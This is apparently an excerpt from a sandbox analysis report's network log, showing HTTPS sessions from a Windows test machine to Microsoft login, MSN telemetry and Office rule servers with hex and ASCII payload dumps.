61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49858	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 17:28:46 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:47 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: cdb654ca-45ed-4c0f-9920-0a3cf69e3c68 PPServer: PPV: 30 H: PH1PEPF00011CB3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:46 GMT Connection: close Content-Length: 11389
2024-11-25 17:28:47 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49859	13.89.179.8	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:46 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555723257&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3780 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1
2024-11-25 17:28:46 UTC	3780	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 37 3a 32 38 3a 34 33 2e 32 35 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 31 33 66 33 38 36 61 2d 61 30 38 35 2d 34 35 61 34 2d 62 32 37 65 2d 30 36 32 37 32 32 38 66 64 61 33 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 39 31 36 31 37 36 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-25T17:28:43.253Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"413f386a-a085-45a4-b27e-0627228fda3a","epoch":"389161769"},"app":{"locale"
2024-11-25 17:28:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=675b9b327d074f78a550310a01bdeb24&HASH=675b&LV=202411&V=4&LU=1732555726751; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 17:28:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=529869783f254347a9d1af1a51c18e8f; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 17:58:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3494 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 17:28:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49860	20.96.153.111	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:46 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1C9027A36A1F6A1B109A32E16B066B17&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=182286ab29844376bc446f41e7998e58 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1
2024-11-25 17:28:47 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 17:28:46 GMT Connection: close
2024-11-25 17:28:47 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49868	20.110.205.119	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:47 UTC	1261	OUT	GET /c.gif?rnd=1732555723259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a424a4266fd6446fa9509a4e2b847ee6&activityId=a424a4266fd6446fa9509a4e2b847ee6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5A297632BA2E4052A243C3E0B8EBA7FF&MUID=1C9027A36A1F6A1B109A32E16B066B17 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1; SM=T
2024-11-25 17:28:47 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1C9027A36A1F6A1B109A32E16B066B17; domain=.msn.com; expires=Sat, 20-Dec-2025 17:28:47 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=1C9027A36A1F6A1B109A32E16B066B17; domain=c.msn.com; expires=Sat, 20-Dec-2025 17:28:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 02-Dec-2024 17:28:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 25-Nov-2024 17:38:47 GMT; path=/; SameSite=None; Secure; Date: Mon, 25 Nov 2024 17:28:46 GMT Connection: close Content-Length: 42
2024-11-25 17:28:47 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:47 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:47 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 97f3364e-001e-00a2-6ca6-3ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172847Z-178bfbc474bnwsh4hC1NYC2ubs00000007x0000000006fg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:47 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:47 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 974535d3-001e-002b-30bf-3e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172848Z-178bfbc474bv7whqhC1NYC1fg400000007sg00000000e1b3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:48 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:47 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 8a9c0054-c01e-0046-231b-3e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172848Z-178bfbc474bwh9gmhC1NYCy3rs00000007u000000000hnfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:48 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:48 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a6b1c0e3-801e-002a-1ea2-3e31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172848Z-178bfbc474bh5zbqhC1NYCkdug00000007m000000000un6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:48 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2abfc2a9-b01e-003d-094d-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172848Z-15b8b599d88m7pn7hC1TEB4axw000000069g00000000bvqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:48 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49877	20.96.153.111	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
